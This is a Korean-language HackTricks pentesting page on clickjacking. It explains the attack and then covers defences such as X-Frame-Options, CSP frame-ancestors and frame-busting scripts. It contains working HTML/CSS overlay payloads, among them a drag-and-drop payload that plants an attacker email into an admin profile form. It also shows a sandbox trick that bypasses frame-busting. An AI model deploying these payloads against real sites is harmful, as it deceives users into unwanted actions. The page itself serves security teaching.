hacktricks/pentesting-web/clickjacking.md

12 KiB

Clickjacking

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}


Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}

Clickjacking이란 무엇인가

Clickjacking 공격에서 사용자보이지 않거나 다른 요소로 위장된 웹페이지의 요소클릭하도록 속아 넘어갑니다. 이러한 조작은 사용자가 원치 않는 결과를 초래할 수 있으며, 예를 들어 악성 소프트웨어 다운로드, 악성 웹 페이지로의 리디렉션, 자격 증명 또는 민감한 정보 제공, 금전 이체, 또는 온라인 제품 구매 등이 있습니다.

폼 미리 채우기 트릭

때때로 페이지 로드 시 GET 매개변수를 사용하여 폼의 필드 값을 채우는 것이 가능합니다. 공격자는 이 동작을 악용하여 임의의 데이터로 폼을 채우고 사용자가 제출 버튼을 누르도록 clickjacking 페이로드를 전송할 수 있습니다.

드래그 앤 드롭으로 폼 채우기

사용자에게 폼을 채우도록 요구해야 하지만 특정 정보를 직접적으로 작성하라고 요청하고 싶지 않은 경우(예: 알고 있는 이메일 또는 특정 비밀번호), 사용자가 드래그 앤 드롭하여 제어된 데이터를 입력하도록 요청할 수 있습니다. 이 예제와 같이요.

기본 페이로드

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

다단계 페이로드

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

사용자가 XSS를 트리거하기 위해 어떤 요소를 클릭해야 하는 XSS 공격을 식별했으며 페이지가 클릭재킹에 취약하다면, 사용자를 속여 버튼/링크를 클릭하도록 할 수 있습니다.
예시:
계정의 일부 개인 정보에서 자기 XSS를 발견했습니다(당신만 설정하고 읽을 수 있는 정보). 이러한 세부 정보를 설정하는 양식클릭재킹취약하며, GET 매개변수로 양식미리 채울 수 있습니다.
__공격자는 XSS 페이로드양식미리 채우는 클릭재킹 공격을 준비하여 사용자제출하도록 속일 수 있습니다. 따라서 양식이 제출되면 값이 수정되고, 사용자는 XSS를 실행하게 됩니다.

클릭재킹 완화 전략

클라이언트 측 방어

클라이언트 측에서 실행되는 스크립트는 클릭재킹을 방지하기 위한 작업을 수행할 수 있습니다:

  • 애플리케이션 창이 주 창 또는 상위 창인지 확인합니다.
  • 모든 프레임을 표시합니다.
  • 보이지 않는 프레임에서 클릭을 방지합니다.
  • 잠재적인 클릭재킹 시도를 감지하고 사용자에게 경고합니다.

그러나 이러한 프레임 버스터 스크립트는 우회될 수 있습니다:

  • 브라우저 보안 설정: 일부 브라우저는 보안 설정이나 JavaScript 지원 부족에 따라 이러한 스크립트를 차단할 수 있습니다.
  • HTML5 iframe sandbox 속성: 공격자는 allow-top-navigation 없이 allow-forms 또는 allow-scripts 값으로 sandbox 속성을 설정하여 프레임 버스터 스크립트를 무력화할 수 있습니다. 이는 iframe이 상위 창인지 확인하는 것을 방지합니다, 예를 들어,
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>

The allow-formsallow-scripts 값은 iframe 내에서의 작업을 활성화하면서 최상위 탐색을 비활성화합니다. 대상 사이트의 의도된 기능을 보장하기 위해 공격 유형에 따라 allow-same-originallow-modals와 같은 추가 권한이 필요할 수 있습니다. 브라우저 콘솔 메시지가 허용할 권한을 안내할 수 있습니다.

서버 측 방어

X-Frame-Options

X-Frame-Options HTTP 응답 헤더는 브라우저에 <frame> 또는 <iframe>에서 페이지를 렌더링하는 것이 합법적인지에 대한 정보를 제공하여 Clickjacking을 방지하는 데 도움을 줍니다:

  • X-Frame-Options: deny - 어떤 도메인도 콘텐츠를 프레임할 수 없습니다.
  • X-Frame-Options: sameorigin - 현재 사이트만 콘텐츠를 프레임할 수 있습니다.
  • X-Frame-Options: allow-from https://trusted.com - 지정된 'uri'만 페이지를 프레임할 수 있습니다.
  • 제한 사항에 유의하십시오: 브라우저가 이 지시어를 지원하지 않으면 작동하지 않을 수 있습니다. 일부 브라우저는 CSP frame-ancestors 지시어를 선호합니다.

Content Security Policy (CSP) frame-ancestors 지시어

CSP의 frame-ancestors 지시어는 Clickjacking 방지를 위한 권장 방법입니다:

  • frame-ancestors 'none' - X-Frame-Options: deny와 유사합니다.
  • frame-ancestors 'self' - X-Frame-Options: sameorigin과 유사합니다.
  • frame-ancestors trusted.com - X-Frame-Options: allow-from과 유사합니다.

예를 들어, 다음 CSP는 동일한 도메인에서만 프레임을 허용합니다:

Content-Security-Policy: frame-ancestors 'self';

추가 세부정보 및 복잡한 예제는 frame-ancestors CSP 문서Mozilla의 CSP frame-ancestors 문서에서 확인할 수 있습니다.

child-srcframe-src가 포함된 Content Security Policy (CSP)

**Content Security Policy (CSP)**는 브라우저가 콘텐츠를 로드할 수 있는 출처를 지정하여 Clickjacking 및 기타 코드 주입 공격을 방지하는 보안 조치입니다.

frame-src 지시어

  • 프레임에 대한 유효한 출처를 정의합니다.
  • default-src 지시어보다 더 구체적입니다.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

이 정책은 동일 출처(자체) 및 https://trusted-website.com에서 프레임을 허용합니다.

child-src 지시어

  • 웹 워커 및 프레임에 대한 유효한 출처를 설정하기 위해 CSP 레벨 2에서 도입되었습니다.
  • frame-src 및 worker-src에 대한 대체 역할을 합니다.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

이 정책은 동일 출처(자체) 및 https://trusted-website.com에서 프레임과 워커를 허용합니다.

사용 참고 사항:

  • 사용 중단: child-src는 frame-src 및 worker-src로 대체되고 있습니다.
  • 대체 동작: frame-src가 없으면 child-src가 프레임에 대한 대체로 사용됩니다. 둘 다 없으면 default-src가 사용됩니다.
  • 엄격한 출처 정의: 악용을 방지하기 위해 지침에 신뢰할 수 있는 출처만 포함하십시오.

JavaScript 프레임 깨기 스크립트

완전히 안전하지는 않지만, JavaScript 기반의 프레임 깨기 스크립트를 사용하여 웹 페이지가 프레임에 포함되는 것을 방지할 수 있습니다. 예:

if (top !== self) {
top.location = self.location;
}

Anti-CSRF 토큰 사용

  • 토큰 검증: 웹 애플리케이션에서 anti-CSRF 토큰을 사용하여 상태 변경 요청이 사용자의 의도에 의해 이루어지며 Clickjacked 페이지를 통해 이루어지지 않도록 합니다.

참고 문헌


Trickest를 사용하여 세계에서 가장 진보된 커뮤니티 도구로 구동되는 워크플로우를 쉽게 구축하고 자동화하세요.
지금 바로 액세스하세요:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}

{% hint style="success" %} AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기
{% endhint %}